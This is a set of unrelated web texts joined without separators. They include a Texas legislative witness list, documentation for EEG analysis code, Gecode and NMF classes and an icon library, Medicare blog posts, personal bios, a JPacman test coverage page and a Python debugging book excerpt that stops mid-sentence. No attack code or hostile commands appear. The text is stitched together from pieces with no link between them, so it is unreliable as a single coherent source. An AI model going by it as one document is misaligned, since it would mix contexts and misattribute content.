WITNESS LIST Business & Industry Committee March 18, 2003-2:00P HB 766 For: Daughtry, Charles (Self and Clear Lake Community Association) Iserman, Eugene W. (Self) Oler, Robert Gayle (Clear Lake Community Association) Registering, but not testifying: For: Heyer, Connie (Texas Community Associations Institute) HB 903 For: Cross, Jack (Self and Texas State Florist Association) Doss, Dianna (Texas State Florist Assn.) Registering, but not testifying: For: Wharton, Nancy (Texas State Florist Association) HB 1054 For: Thompson, Jay (Self) HB 1272 For: Sullivan, Wayde (Huntsville-Walker County Emergency Medical Service) Against: Freeman, Rick (Texas Trial Lawyers Assoc.) Registering, but not testifying: For: Hart, Bob (City of Huntsville) Paulsel, Tim (Walker County Commissioner court) Sprinkle, G.K. (TX Ambulance Assoc) General Workers' Compensation Issu On: Shipe, Robert (Texas Wokers Compensation Commission) TX Workers' Comp. System On: Brady, Kevin C. (Texas Department of Insurance) Nemeth MD, William (TWCC) Reynolds, Richard F. "Dick" (TWCC) TX Workers' Compensation System On: Byckovski, J'ne (TX. Dept. Insurance) Crumpton, Laurie (TX Workers' Compensation Commission)


|
processEEG
A highly optimized program for producing the Event Related Spectral Pertubation from EEG signals.
|
This file contains all of the function required to generate the Event Related Spectral Pertubation of EEG signals. More...
Functions | |
| int | RemoveBaseline (double *pre_stimulus, double *pre_baseline_array, const int n, const int J, const int sampling_frequency, double *output) |
| A function that removes the pre stimulus noise found in EEG signals. More... | |
| int | FrequencyMultiply (const fftw_complex *fft_data, const int data_size, const double scale, const double dw, fftw_complex *filter_convolution) |
| Multiples the signal with the wavelet at a specific scale in the frequency domain. More... | |
| int | PopulateDataArray (double *input_data, const int data_size, const int trial_number, const int padded_size, const int padding_type, fftw_complex *output_data) |
| int | ERSP (double *raw_data, double *scales, const int sampling_frequency, const int n, const int J, int const trials, const int padding_type, double *output) |
| int | Generate_FFTW_Wisdom (int padded_size) |
| Analyzes the size of the FFTW arrays and generates the optimal plan. More... | |
This file contains all of the function required to generate the Event Related Spectral Pertubation of EEG signals.
| int ERSP | ( | double * | raw_data, |
| double * | scales, | ||
| const int | sampling_frequency, | ||
| const int | n, | ||
| const int | J, | ||
| int const | trials, | ||
| const int | padding_type, | ||
| double * | output | ||
| ) |
| raw_data | A trials * n array containing the data to be analyzed |
| scales | A 1 x J array of the scales that the wavelets will be analyzed in |
| sampling_frequency | The frequency that the data was sampled in |
| n | The numer of samples in each data set |
| J | The number of scales to be analyzed |
| trials | The number of trials conducted for the ERSP |
| output | A n x J array with the resultant ERSP from all of the trials. |
This function conducts the Event Related Spectral Pertubation of the given data set raw_data. It follows the method outlined by the paper: "Single-trial normalization for event-related spectral decomposition reduces sensitivity to noisy trials".
This function uses the Continuous Wavelet Transform to generate the multi-resolution analysis of the given data.
This function is multi-threaded.
This function deals a lot with Fast Fourier Transforms, and can be optimized by using the Generate_FFTW_Wisedom() function. If no wisdom is provided, an approximate FFT algorithm will be used.
The variable raw_data must contain all of the data for each trial.
raw_data, scales, and output must be pre-allocated.
| int FrequencyMultiply | ( | const fftw_complex * | fft_data, |
| const int | data_size, | ||
| const double | scale, | ||
| const double | dw, | ||
| fftw_complex * | filter_convolution | ||
| ) |
Multiples the signal with the wavelet at a specific scale in the frequency domain.
| fft_data | A fftw_complex * data_size array with the signal data in the frequency domain. |
| data_size | The size of the data array |
| scale | THe scale of the wavelet that will be multiplied with the signal array |
| dw | THe discrete increment in the frequency domain for the wavelet |
| filter_convolution | A fftw_complex * data_size array with the resulted multiplication |
This function mutliples the contents of fft_data with with the wavelet specified by the variable scale. It stores the result in filter_convolution.
All arrays must be pre allocated.
| int Generate_FFTW_Wisdom | ( | int | padded_size | ) |
Analyzes the size of the FFTW arrays and generates the optimal plan.
| padded_size | The size of the FFT arrays. |
This function can be used to optimize FFTW. This function will try to find the fastest FFT method based on the size of the array, and will store this information as "FFTW_plan.wise".
This function does not need to be used, but it can significantly improve performance if it is.
| int RemoveBaseline | ( | double * | pre_stimulus, |
| double * | pre_baseline_array, | ||
| const int | n, | ||
| const int | J, | ||
| const int | m, | ||
| double * | output | ||
| ) |
A function that removes the pre stimulus noise found in EEG signals.
| pre_stimulus | A 1 x m array to store the pre stimulus data |
| pre_baseline_array | An n x J array of the data that must be modified |
| n | The number of samples in the entire data array |
| J | The number of scales that were used |
| m | The size of the array before the stimulus |
| output | An n x J array that the function stores the result in. |
This function follows the method outlined in the paper "Single-trial normalization for event-related spectral decomposition reduces sensitivity to noisy trials".
The function will remove the baseline observed in in the pre stimulus by computing the z score on only the information before the stimulus. The variable m is the number of samples before the stimulus was introduced.
All arrays must be pre allocated.


I am in charge of publications at CEPR. I supervise the submission, publication, and distribution of printed and digital Discussion Papers. I also copy-edit and typeset our eBooks and ensure their electronic and printed publication and distribution. I format and publish electronic daily content on our blogs and assist with social media promotion of that content. On the IT side, I help to maintain our network and am involved at all stages of the design, implementation and maintenance of our various sites.
I am confident in using Adobe software to prepare and publish digital and print content. I also regularly use Microsoft Word and Excel to prepare and copy-edit manuscripts, including both text and various graphs and charts, and to monitor and track production progress and distribution flow and targets. Digital skills used in day-to-day tasks around the Discussion Paper production involve html, php, sql scripting and basic Linux admin.
You can contact me via phone and email or via my website: inscrutableservicesinc.com


ColoredMatrixOptions Class Reference
ColoredMatrixOptions. More...
Public Member Functions | |
| ColoredMatrixOptions (const char *n) | |
| Initialize options for example with name n. | |
| void | parse (int &argc, char *argv[]) |
| Parse options from arguments argv (number is argc). | |
| int | height (void) const |
| Return height. | |
| int | width (void) const |
| Return width. | |
| int | colors (void) const |
| Return number of colors. | |
| int | not_all_equal (void) const |
| Return how to implement not all equals. | |
| int | same_or_0 (void) const |
| Return how to implement same or 0. | |
| int | distinct_except_0 (void) const |
| Return how to implement distinct except 0. | |
| int | no_monochrome_rectangle (void) const |
| Return how to implement distinct except 0. |
Detailed Description
ColoredMatrixOptions.
Used in the ColoredMatrix example.
Definition at line 46 of file colored-matrix.cpp.
Constructor & Destructor Documentation
| ColoredMatrixOptions::ColoredMatrixOptions | ( | const char * | n | ) |
Initialize options for example with name n.
Definition at line 457 of file colored-matrix.cpp.
Member Function Documentation
| void ColoredMatrixOptions::parse | ( | int & | argc, | |
| char * | argv[] | |||
| ) | [inline] |
Parse options from arguments argv (number is argc).
Reimplemented from Gecode::BaseOptions.
Definition at line 70 of file colored-matrix.cpp.
| int ColoredMatrixOptions::height | ( | void | ) | const [inline] |
Return height.
Definition at line 75 of file colored-matrix.cpp.
| int ColoredMatrixOptions::width | ( | void | ) | const [inline] |
Return width.
Definition at line 82 of file colored-matrix.cpp.
| int ColoredMatrixOptions::colors | ( | void | ) | const [inline] |
Return number of colors.
Definition at line 89 of file colored-matrix.cpp.
| int ColoredMatrixOptions::not_all_equal | ( | void | ) | const [inline] |
Return how to implement not all equals.
Definition at line 91 of file colored-matrix.cpp.
| int ColoredMatrixOptions::same_or_0 | ( | void | ) | const [inline] |
Return how to implement same or 0.
Definition at line 93 of file colored-matrix.cpp.
| int ColoredMatrixOptions::distinct_except_0 | ( | void | ) | const [inline] |
Return how to implement distinct except 0.
Definition at line 95 of file colored-matrix.cpp.
| int ColoredMatrixOptions::no_monochrome_rectangle | ( | void | ) | const [inline] |
Return how to implement distinct except 0.
Definition at line 97 of file colored-matrix.cpp.
The documentation for this class was generated from the following file:
- examples/colored-matrix.cpp


1. use the polygon tool to select the areas you're interested in
2. move pegman inside the polygon; click the save button (use load to re-load your polygons later)
3. click "current" or "historical" to download an index of panoramas (takes a while)


Keep your loved ones healthy – take them to the doctor
Who doesn’t want another reason to celebrate? This year add a new holiday to your family’s calendar – Take Your Loved One to the Doctor Day on September 20th. After all, what’s a better reason to celebrate than the good health of the people you love?
The best way to stay healthy is to live a healthy lifestyle. Your loved one can live a healthy lifestyle and prevent disease by exercising, eating well, keeping a healthy weight, not smoking, and taking advantage of Medicare’s preventive services.
Preventive services can find health problems early, when treatment works best, and can keep your loved one from getting certain diseases. The first “Welcome to Medicare” preventive visit and yearly “Wellness” visit are a key part of a healthy lifestyle.
Schedule a doctor’s appointment today, and as long as the doctor accepts assignment there’s no cost. Now that’s something to celebrate!
“Medicare & You” goes paperless
Love your red, white, and blue “Medicare & You” handbook? Did you ever think it would be nice to get the same information online? Knowing that the number of people 65 and over using the web has tripled in the past 10 years, we thought it would be a good idea too. And, now we’ve got some great news!
As part of the new Medicare.gov, you can go on the web and access all the same information found in your printed handbook. You can learn what’s new for the year, how Medicare works with your other insurance, get Medicare costs, and find out what Medicare covers. Even better, the handbook information on the web is updated regularly, so you can instantly find the most up-to-date Medicare information.
You can also do a lot of things on your own like replace your Medicare card, change your address, sign up or make changes to your Medicare coverage, and find out important date. All this in time for October 15 – the start of open enrollment.
Take advantage of some other great features to get just want you need:
- Search quickly for what you want and print only the pages you need, while getting the latest, up-to-date official Medicare information, including the most recent list of available plans
- Get “Medicare & You” in different formats like large print, eBook or audio
- Subscribe to get an e-mail when information is updated
- Access personalized information
And, if you’d like to trade in your printed copy for a paperless version, we’ve got you covered. You can choose to get your next “Medicare & You” handbook electronically by using the “go paperless” option. In a few simple steps, you’ll be all set. Sign up today and we’ll send you an e-mail including a link to the new online Medicare & You. It’s instant, current, and convenient.
The New Medicare.gov: Making Medicare Information Clearer & Simpler
Did you notice something new today? Medicare.gov has a new design that makes it faster and easier for you to answer your Medicare questions.
We know Medicare.gov is your trusted source of online Medicare information. That’s why we worked more than 2 years improving the things you use most. We did interviews and focus groups with people like you and the people who help you with your Medicare questions to help us find out what matters most to you. And, we used that feedback to make the website better.
The new Medicare.gov includes features not available before, like:
- Many ways for you to do the most common tasks, like finding out about costs, coverage, and plans, through several paths — right from the homepage
- Action-oriented labels to help you get the information you want faster
- Design that works on mobile devices, like tablets and smartphones, so you can get information anytime, anywhere, and in the most convenient format for you
The new Medicare.gov is just one of our efforts over the past year to make it easier for you to understand your Medicare. Whether it’s putting our information in simple, straightforward language so you can understand it the first time you read it or improving the design of the “Medicare Summary Notice ” so you can better understand your Medicare claims, we’re committed to making Medicare information clearer and simpler.
Check it out and tell us how we did—send us a tweet (use #medicaredotgov)
Protect Your Health with Covered Shots
You take your car for scheduled maintenance service just to make sure it’s fine, right? And, like most of us, you have things like car and homeowners insurance just in case you need it. Shouldn’t you take just as much precaution with yourself to make sure you stay healthy? Keeping your immune system strong is a lifelong, life-protecting job, but we’ve got you covered. Your Medicare preventive benefits include 3 shots:
- Flu Shots—Covered once a flu season in the fall or winter.
- Hepatitis B Shots—Covered for people at high or medium risk for Hepatitis B (usually a series of 3 shots).
- Pneumococcal Shot—Covered to help prevent pneumococcal infections (like certain types of pneumonia). Most people only need this shot once in their lifetime.
Getting your shots has never been easier. As we approach the fall season, you’ll see these shots offered in many places, such as your local pharmacy, so make sure you take advantage of them. As long as the supplier or doctor accepts assignment for giving the shot, you pay nothing.
You’re way more important than your car or house so make the time to stay healthy.
Coming August 2012 - a new Medicare.gov
We’re getting ready to unveil a redesigned Medicare.gov that will make it easier and faster for you to get answers to your Medicare questions. With the new website, you’ll find more ways to get to information you need, like costs, covered services and items, and plans that fit your needs. In the meantime, keep visiting Medicare.gov – the official online source for your Medicare information.


{% load static from staticfiles %} {# Inclusion template for the `object_controls` tag. #} {% if can_update or can_delete or can_duplicate %} Edit
Copy & Paste the following URL to share it with someone.
Keep in mind, they may not be able to see this page if they don't have the appropriate permissions.


Hey!! Please allow me to introduce myself. My name is Destinie and I was born in Chicago, but most of my life I have lived in Berwyn. I'm 22 years old and I have 9 siblings. I graduated from Morton West High School in 2014, and right afterward began attending Northeastern Illinois University ever since. I am currently an undergraduate student in the Geography and Environmental Studies Department at Northeastern Illinois University (NEIU). I am a Geography major and a Geographic Information Science (GIS) minor with a particular interest in medical geography, cultural geography, tourism geography, cartography, and geographic information science. I am striving to pursue a Master's Degree in Public Health after I obtain my Bachelor's Degree. I plan to graduate from NEIU in Spring 2019. I am very excited to take this course as I am interested in understanding how to integrate GIS with Python. I have some experience with HTML, CSS and JavaScript.
This is a map that I created when I took GIS Across Disciplines. It is a heat map that conveys the density of hospitals available to those in Sierra Leone as it is a country that has endured a public health crisis of the Ebola outbreak affecting large populations in rural and urban areas.
This is my python script that I created when I took GIS III. This script code focuses on clipping and changing projections of shapefiles and creating a file geodatabase.
This is my QGIS map that I created when I took GIS III. This Choroplethic map focuses on the types of lakes across California counties using a map feature called Shapeburst Fill.


This tool allows a user to convert a NIST Common Data Format file from JSON to XML. For background and more information click here.


A background-color value other than inherit applied on hover is intermittently not propagated to multiple vertically-stacked line boxes
Test passes if no red is visible when hovering over the box below.


Due to its commanding position, in the Second World War the Fort House was used by the military as an observation post and even had the roof reinforced to protect it from an aerial attack, with two feet of concrete, making
it bomb proof from enemy aircraft. With its historic harbour, rockpools and sandy beaches St Mawes provides the idyllic Cornish escape and The Fort House the perfect property in which to stay


Updated: 10/10/18 - v1.3.0 (Removed Font Awesome Icons due to new ng FA Treeshaking) Changelog
For use in Static HTML Pages: Easy HTML font tags which automatically convert to inline SVG.
All icon class names must start with 'fqts' (Font QTS), a space, followed by the icon name, then lastly the size and/or animation. See the examples below.
For this icon library to work, you must include the following 2 javascript files:
fontawesome.js
font-qts.js
Note: All icons inherit the parent tag/container's style properties (size, color, margins, padding, etc). Sizes range from xs (xtra-small) through 10x.

For use in Angular SPA's: run yarn add ng-font-qts
and see code example in the qts-spa-starterkit: git clone https://github.com/nthompson777/qts-spa-starterkit
.
For Angular Font QTS to work with Treeshaking (only load the icons that you need/use for your app), you must import 'angular-fontawesome':
import { FontAwesomeModule } from '@fortawesome/angular-fontawesome';
Note: All icons inherit the parent tag/container's style properties (size, color, margins, padding, etc). Sizes range from xs (xtra-small) through 10x.

<fa-icon [icon]="faTrain01" size="2x" class="color"></fa-icon> <fa-icon [icon]="faTrainTracks02" size="2x"></fa-icon>
// component.ts
import { faTrain01, faTrainTracks02 } from 'ng-font-qts/font-qts';
export class HomeComponent implements OnInit {
...
faTrain01 = faTrain01;
faTrainTracks02 = faTrainTracks02;
...
}


Class GeneralTransformationRule
This class represents the base class for a transformation rule
Inheritance
Inherited Members
Namespace: NMF.Transformations.Core
Assembly: NMF.Transformations.Core.dll
Syntax
public abstract class GeneralTransformationRule
Constructors
| Improve this Doc View SourceGeneralTransformationRule()
Creates a new transformation rule
Declaration
protected GeneralTransformationRule()
Properties
| Improve this Doc View SourceBaseRule
Gets the base rule, i.e. the rule the current rule can instantiate
Declaration
public GeneralTransformationRule BaseRule { get; }
Property Value
| Type | Description |
|---|---|
| GeneralTransformationRule |
Dependencies
Gets a collection of dependencies for this transformation rule
Declaration
public IList<ITransformationRuleDependency> Dependencies { get; }
Property Value
| Type | Description |
|---|---|
| System.Collections.Generic.IList<T><ITransformationRuleDependency> |
InputType
Gets the type signature of the input arguments of this transformation rule
Declaration
public abstract Type[] InputType { get; }
Property Value
| Type | Description |
|---|---|
| System.Type[] |
IsUnique
Gets or sets a value indicating whether this transformation rule is unique per input and context
Declaration
public bool IsUnique { get; set; }
Property Value
| Type | Description |
|---|---|
| bool |
NeedDependenciesForOutputCreation
Gets a value indicating whether the output for all dependencies must have been created before this rule creates the output
Declaration
public virtual bool NeedDependenciesForOutputCreation { get; }
Property Value
| Type | Description |
|---|---|
| bool |
OutputDelayLevel
Gets or sets the output delay level
Declaration
public byte OutputDelayLevel { get; protected set; }
Property Value
| Type | Description |
|---|---|
| byte |
Remarks
The default delay level is 0. The delay level has an influence on the availability of the trace data during output creation.
OutputType
Gets the type signature of the output type of this transformation
Declaration
public abstract Type OutputType { get; }
Property Value
| Type | Description |
|---|---|
| System.Type |
Transformation
Gets the transformation, that this rule is assigned to
Declaration
public Transformation Transformation { get; }
Property Value
| Type | Description |
|---|---|
| Transformation |
TransformationDelayLevel
Gets or sets the transformation delay level
Declaration
public byte TransformationDelayLevel { get; protected set; }
Property Value
| Type | Description |
|---|---|
| byte |
Remarks
The default transformation delay level is 0. The delay has an influence when computations are made
Methods
| Improve this Doc View SourceCall(GeneralTransformationRule)
Requires the given transformation rule
Declaration
public void Call(GeneralTransformationRule rule)
Parameters
| Type | Name | Description |
|---|---|---|
| GeneralTransformationRule | rule | The transformation rule that should be required |
Remarks
This version Always takes the input parameter as input for the dependent transformations. Thus, this method will throw an exception, if the types do not match
CreateComputation(object[], IComputationContext)
Creates a new Computation instance for this transformation rule or the given input
Declaration
public abstract Computation CreateComputation(object[] input, IComputationContext context)
Parameters
| Type | Name | Description |
|---|---|---|
| object[] | input | The input arguments for this computation |
| IComputationContext | context | The context for this computation |
Returns
| Type | Description |
|---|---|
| Computation | A computation object |
HasCompliantInput(Computation)
Gets a value indicating whether the given computation has a compliant input to be instantiated by the current transformation rule
Declaration
public bool HasCompliantInput(Computation computation)
Parameters
| Type | Name | Description |
|---|---|---|
| Computation | computation | The computation that is a candidate for instantiation |
Returns
| Type | Description |
|---|---|
| bool | True, if the input arguments match the input types of the current transformation rule, otherwise false |
IsInstantiating(Computation)
Determines whether the current transformation rule can instantiate the output of the given computation
Declaration
public bool IsInstantiating(Computation computation)
Parameters
| Type | Name | Description |
|---|---|---|
| Computation | computation | The computation that may be instantiated by the current rule |
Returns
| Type | Description |
|---|---|
| bool | True, if the computation instantiates the given computation, otherwise false |
MarkInstantiatingFor(GeneralTransformationRule, Predicate<Computation>)
Marks the current transformation rule instantiating for the specified rule
Declaration
public void MarkInstantiatingFor(GeneralTransformationRule rule, Predicate<Computation> filter)
Parameters
| Type | Name | Description |
|---|---|---|
| GeneralTransformationRule | rule | The base transformation rule |
| System.Predicate<T><Computation> | filter | A method that filters the possible computations |
Remarks
Note that in this version, the filter method is also responsible for checking the types!
MarkInstantiatingFor(GeneralTransformationRule)
Marks the current transformation rule instantiating for the specified rule
Declaration
public void MarkInstantiatingFor(GeneralTransformationRule rule)
Parameters
| Type | Name | Description |
|---|---|---|
| GeneralTransformationRule | rule | The base transformation rule |
RegisterDependencies()
Registers all the dependencies (both calling and non-calling) and additional configuration
Declaration
public virtual void RegisterDependencies()
Remarks
This method is called during initialization of the entire transformation and is independent of any transformation contexts. However, this method may rely on the Transformation-property.
Require(GeneralTransformationRule)
Requires the given transformation rule
Declaration
public void Require(GeneralTransformationRule rule)
Parameters
| Type | Name | Description |
|---|---|---|
| GeneralTransformationRule | rule | The transformation rule that should be required |
Remarks
This version Always takes the input parameter as input for the dependent transformations. Thus, this method will throw an exception, if the types do not match


The Engadget Podcast: The streaming wars have begun
Who can watch this much TV?
by Devindra HardawarApple TV+ just launched, Disney+ is on the way, and HBO Max is coming next year. This week on the Engadget Podcast, Devindra and Cherlynn explore why these companies are launching their own streaming services and what it all means for consumers. Are they actually worth subscribing to? Is there simply too much to watch?
Listen below, or subscribe on your podcast app of choice. If you've got suggestions or topics you'd like covered on the show, be sure to email us or drop a note in the comments! And be sure to check out our other podcasts, the Morning After and Engadget News!
Subscribe!
Links
- Apple TV+ review: It's fine
- Disney is mining nostalgia to make Dsiney+ a success
- HBO Max pricing and details
Credits
Hosts: Devindra Hardawar and Cherlynn Low
Producer: Ben Ellman
Music: Dale North and Terrence O'Brien


You are viewing an historical archive of past issues. Please report new issues to the appropriate project issue tracker on GitHub.
Comments
-
Greg Hurrell
Ok, trying locally the latest patch level of Ruby 1.8.7 (via RVM) and there are no segfaults.
Going to also revisit ticket #1681 and try out 1.9.2, just for kicks.
Will then spin up a staging instance and try updating Ruby there and see how the app runs.
-
Greg Hurrell
Looks like things are much more stable under 1.9.2 now. I think it's time to make the leap. Going to close this ticket.
-
Greg Hurrell
Status changed:
- From: new
- To: closed
Add a comment
Comments are now closed for this issue.


Coverage Summary for Class: TestScenario1_5 (nl.tudelft.jpacman.project)
| Class | Class, % | Method, % | Line, % |
|---|---|---|---|
| TestScenario1_5 | 100% (1/ 1) | 100% (9/ 9) | 100% (54/ 54) |
1 package nl.tudelft.jpacman.project;
2
3 import nl.tudelft.jpacman.Launcher;
4 import nl.tudelft.jpacman.board.Direction;
5 import nl.tudelft.jpacman.board.Square;
6 import nl.tudelft.jpacman.game.Game;
7 import nl.tudelft.jpacman.level.Player;
8 import org.junit.jupiter.api.AfterEach;
9 import org.junit.jupiter.api.BeforeEach;
10 import org.junit.jupiter.api.Test;
11
12 import java.util.Random;
13
14 import static org.junit.Assert.*;
15 import static org.junit.Assert.assertFalse;
16
17 public class TestScenario1_5 {
18
19 private Launcher launcher;
20
21 @BeforeEach
22 public void setup(){
23 launcher = new Launcher();
24 launcher.launch();
25 }
26
27 @AfterEach
28 public void tearDown(){
29 launcher.dispose();
30 }
31
32
33 //-------------------------------------------Scenario 1---------------------------------------------------------
34 //description : game start success
35
36 @Test//TS001 | TC01
37 public void startGame(){
38 Game game = launcher.getGame();
39 game.start();//start game
40 assertTrue(game.isInProgress());// check that game is starting
41 }
42
43 //---------------------------------------------Scenario 2-------------------------------------------------------------
44 //description : Player consumes pallet each pallet is worth 10 pts.
45
46 @Test //TS002 | TC02:consume pallet and earn points
47 public void playerConsumePallet(){
48
49 Game game = launcher.getGame();
50 Player player = game.getPlayers().get(0);
51 game.start();
52 assertTrue(game.isInProgress());//check if game is running
53 assertEquals(0,player.getScore());//check if starting score is 0
54 //moving player to consume pallet on the map
55 game.move(player, Direction.EAST);//move east consume 1 pallet
56 assertEquals(10,player.getScore());//check score. score should be 10
57 game.move(player,Direction.EAST);//move east consume 1 pallet
58 assertEquals(20,player.getScore());//check score. score should be 20
59
60 }
61
62 @Test//TS003 TC03: move to empty square point should not be added
63 public void emptySquare(){
64
65 Game game = launcher.getGame();
66 Player player = game.getPlayers().get(0);
67 game.start();
68 assertTrue(game.isInProgress());
69 //moving player to consume pallet on the map and move back
70 game.move(player,Direction.EAST);//move 3 square
71 game.move(player,Direction.EAST);
72 game.move(player,Direction.EAST);
73 assertEquals(30,player.getScore());
74 game.move(player,Direction.WEST);//move back 3 square
75 game.move(player,Direction.WEST);
76 game.move(player,Direction.WEST);
77 assertEquals(30,player.getScore());//point should remain the same
78 }
79
80 @Test// TS004 |TC04: move fail hit wall
81 public void encounterWall(){
82
83 Game game = launcher.getGame();
84 Player player = game.getPlayers().get(0);
85 game.start();
86 assertTrue(game.isInProgress());
87 game.move(player,Direction.NORTH);//move player north to hit the wall
88 Square square1 = player.getSquare();//get location
89 game.move(player,Direction.NORTH);//move north again
90 Square square2 = player.getSquare();// get location
91 assertEquals(square1,square2);//position should be the same consider that the player didn't move due to wall blocking
92
93 }
94
95 private Direction randomDirection(){//generate random direction
96 return Direction.values()[new Random().nextInt(Direction.values().length)];
97 }
98
99 @Test//TS005 |TC05: player die
100 public void playerDie(){
101 Game game = launcher.getGame();
102 Player player = game.getPlayers().get(0);
103 game.start();
104 assertTrue(game.isInProgress());
105
106 Direction chosen;
107
108 while (game.isInProgress()){//check game is still running
109 chosen = randomDirection();//generate random direction
110 game.move(player, chosen);//move the player by random
111 }
112 assertFalse(player.isAlive());//check if the player still alive
113 assertFalse(game.isInProgress());//game stop when player is dead
114
115 }
116 }


I've spent my working career in customer service, mostly reception and phone based work. My last five years were with a Dermatology practice in Portland as a surgery scheduler. I loved my job, but I'm ready to start my next adventure.
Coding stretches and strenghthens my brain in ways I had only dreamed of. It's a big puzzle that requires creativity, patience, organization, and focus.


17.2 Debugging
Since
Python's development cycle is so fast, the most
effective way to debug is often to edit your code to make it output
relevant information at key points. Python has many ways to let your
code explore its own state in order to extract information that may
be relevant for debugging. The inspect and
traceback modules specifically support such
exploration, which is also known as reflection or introspection.
Once you have obtained debugging-relevant information, statement
print is often the simplest way to display it. You
can also log debugging information to files. Logging is particularly
useful for programs that run unattended for a long time, as is
typically the case for server programs. Displaying debugging
information is like displaying other kinds of information, as covered
in Chapter 10 and Chapter 16, and similarly for logging it, as covered in
Chapter 10 and Chapter 11. Python 2.3 will also include a module
specifically dedicated to logging. As covered in Chapter 8, rebinding attribute
excepthook of module sys lets
your program log detailed error information just before your program
is terminated by a propagating
exception.
Python also offers hooks enabling interactive debugging. Module
pdb supplies a simple text-mode interactive
debugger. Other interactive debuggers for Python are part of
integrated development environments (IDEs), such as IDLE and various
commercial offerings. However, I do not cover IDEs in this book.
17.2.1 The inspect Module
The inspect module
supplies functions to extract information from all kinds of objects,
including the Python call stack (which records all function calls
currently executing) and source files. At the time of this writing,
module inspect is not yet available for Jython.
The most frequently used functions of module
inspect are as follows.
| getargspec, formatargspec |
|
f is a
function object. getargspec returns a tuple with
four items
(arg_names,
extra_args,
extra_kwds,
arg_defaults).
arg_names is the sequence of names of
f's formal arguments.
extra_args is the name of the special
formal argument of the form
*args, or
None if f has no such
special argument. extra_kwds is the name
of the special formal argument of the form
**kwds, or
None if f has no such
special argument. arg_defaults is the
tuple of default values for
f's arguments. You can
deduce other details about
f's signature from
getargspec's results. For
example, f has
len(arg_names)-len(arg_defaults)
mandatory arguments, and the names of
f's optional arguments
are the strings that are the items of the list slice
arg_names[-len(arg_defaults):].
formatargspec accepts one to four arguments that
are the same as the items of the tuple that
getargspec returns, and returns a formatted string
that displays this information. Thus,
formatargspec(*getargspec(f))
returns a formatted string with
f's formal arguments
(i.e., f's
signature) in parentheses, as used in the
def statement that created
f.
| getargvalues, formatargvalues |
|
f is a frame object, for example the
result of a call to the function _getframe in
module sys (covered in Chapter 8) or to function
currentframe in module inspect.
getargvalues returns a tuple with four items
(arg_names,
extra_args,
extra_kwds,
locals).
arg_names is the sequence of names of
f's
function's formal arguments.
extra_args is the name of the special
formal argument of form
*args, or
None if
f's function has no such
special argument. extra_kwds is the name
of the special formal argument of form
**kwds, or
None if
f's function has no such
special argument. locals is the dictionary
of local variables for f. Since arguments,
in particular, are local variables, the value of each actual argument
can be obtained from locals by indexing
the locals dictionary with the
argument's name.
formatargvalues accepts one to four arguments that
are the same as the items of the tuple that
getargvalues returns, and returns a formatted
string that displays this information.
formatargvalues(*getargvalues(f))
returns a formatted string with
f's actual arguments in
parentheses, in named (keyword) form, as used in the call statement
that created f. For example:
def f(x=23): return inspect.currentframe( )
print inspect.formatargvalues(inspect.getargvalues(f( )))
# prints: (x=23)
Returns the frame object for the current function (caller of
currentframe).
formatargvalues(getargvalues(currentframe( )), for
example, returns a formatted string with the actual arguments of the
calling function.
Returns the docstring for obj, with tabs
expanded to spaces and redundant whitespace stripped from each line.
Returns the name of the file that defined
obj, and raises
TypeError when unable to determine the file. For
example, getfile raises
TypeError if obj is
built-in. getfile returns the name of a binary or
source file. getsourcefile returns the name of a
source file, and raises TypeError when it can
determine only a binary file, not the corresponding source file.
getmembers(obj, filter=None)
|
|
Returns all attributes (members) of obj, a
sorted list of
(name,value)
pairs. When filter is not
None, returns only attributes for which callable
filter returns a true result when called
on the attribute's value,
like:
[ (n, v) for n, v in getmembers(obj) if filter(v) ]
Returns the module object that defined
obj, or None if unable
to determine it.
Returns a tuple of bases and ancestors of class
c in method resolution order.
c is the first item in the tuple. Each
class appears only once in the tuple.
| getsource, getsourcelines |
|
Returns a single multiline string that is the source code for
obj, and raises IOError
if unable to determine or fetch it. getsourcelines
returns a pair: the first item is the source code for
obj (a list of lines), and the second item
is the line number of the list's first line in the
source file it comes from.
| isbuiltin,isclass,iscode, isframe, isfunction, ismethod, ismodule, isroutine |
|
Each of these functions accepts a
single argument obj and returns
True if obj belongs to
the type indicated in the function name. Accepted objects are,
respectively: built-in (C-coded) functions, class objects, code
objects, frame objects, Python-coded functions (including
lambda expressions), methods, modules, and, for
isroutine, all methods or functions, either
C-coded or Python-coded. These functions are often used as the
filter argument to
getmembers.
Returns a list of six-item tuples. The first tuple is about
stack's caller, the second tuple
is about the caller's caller, and so on. Each
tuple's items, in order, are: frame object,
filename, line number, function name, list of
context source code lines around the
current line, and index of current line within the list.
For example, suppose that at some point in your program you execute a
statement such as:
x.f( )
and unexpectedly receive an AttributeError
informing you that object x has no
attribute named f. This means that object
x is not as you expected, so you want to
determine more about x as a preliminary to
ascertaining why x is that way and what
you should do about it. Change the statement to:
try: x.f( )
except AttributeError:
import sys, inspect
sys.stderr.write('x is type %s(%r)\n'%(x,type(x)))
sys.stderr.write("x's methods are: ")
for n, v in inspect.getmembers(x, callable):
sys.stderr.write('%s '%n)
sys.stderr.write('\n')
raise
This example uses sys.stderr (covered in Chapter 8), since it's displaying
diagnostic information related to an error, not program results.
Function getmembers of module
inspect obtains the name of all methods available
on x in order to display them. Of course,
if you need this kind of diagnostic functionality often, you should
package it up into a separate function, such as:
import sys, inspect
def show_obj_methods(obj, name, show=sys.stderr.write):
show('%s is type %s(%r)\n'%(name,obj,type(obj)))
show("%s's methods are: "%name)
for n, v in inspect.getmembers(obj, callable):
show('%s '%n)
show('\n')
And then the example becomes just:
try: x.f( )
except AttributeError:
show_obj_methods(x, 'x')
raise
Good program structure and organization are just as necessary in code
intended for diagnostic and debugging purposes as they are in code
that implements your program's functionality. See
also Section 6.6.4 in Chapter 6 for a good
technique to use when defining diagnostic and debugging
functions.
17.2.2 The traceback Module
The traceback
module lets you extract, format, and output information about
tracebacks as normally produced by uncaught exceptions. By default,
module traceback reproduces the formatting Python
uses for tracebacks. However, module traceback
also lets you exert fine-grained control. The module supplies many
functions, but in typical use you will use only one of them.
print_exc(limit=None, file=sys.stderr)
|
|
Call print_exc from an exception handler or a
function directly or indirectly called by an exception handler.
print_exc outputs to file-like object
file the traceback information that Python
outputs to stderr for uncaught exceptions. When
limit is not None,
print_exc outputs only
limit traceback nesting levels. For
example, when, in an exception handler, you want to cause a
diagnostic message just as if the exception propagated, but actually
stop the exception from propagating any further (so that your program
keeps running, and no further handlers are involved), call
traceback.print_exc( ).
17.2.3 The pdb Module
The
pdb module exploits the Python
interpreter's debugging and tracing hooks to
implement a simple, command-line-oriented interactive debugger.
pdb lets you set breakpoints, single-step on
sources, examine stack frames, and so on.
To run some code under pdb's
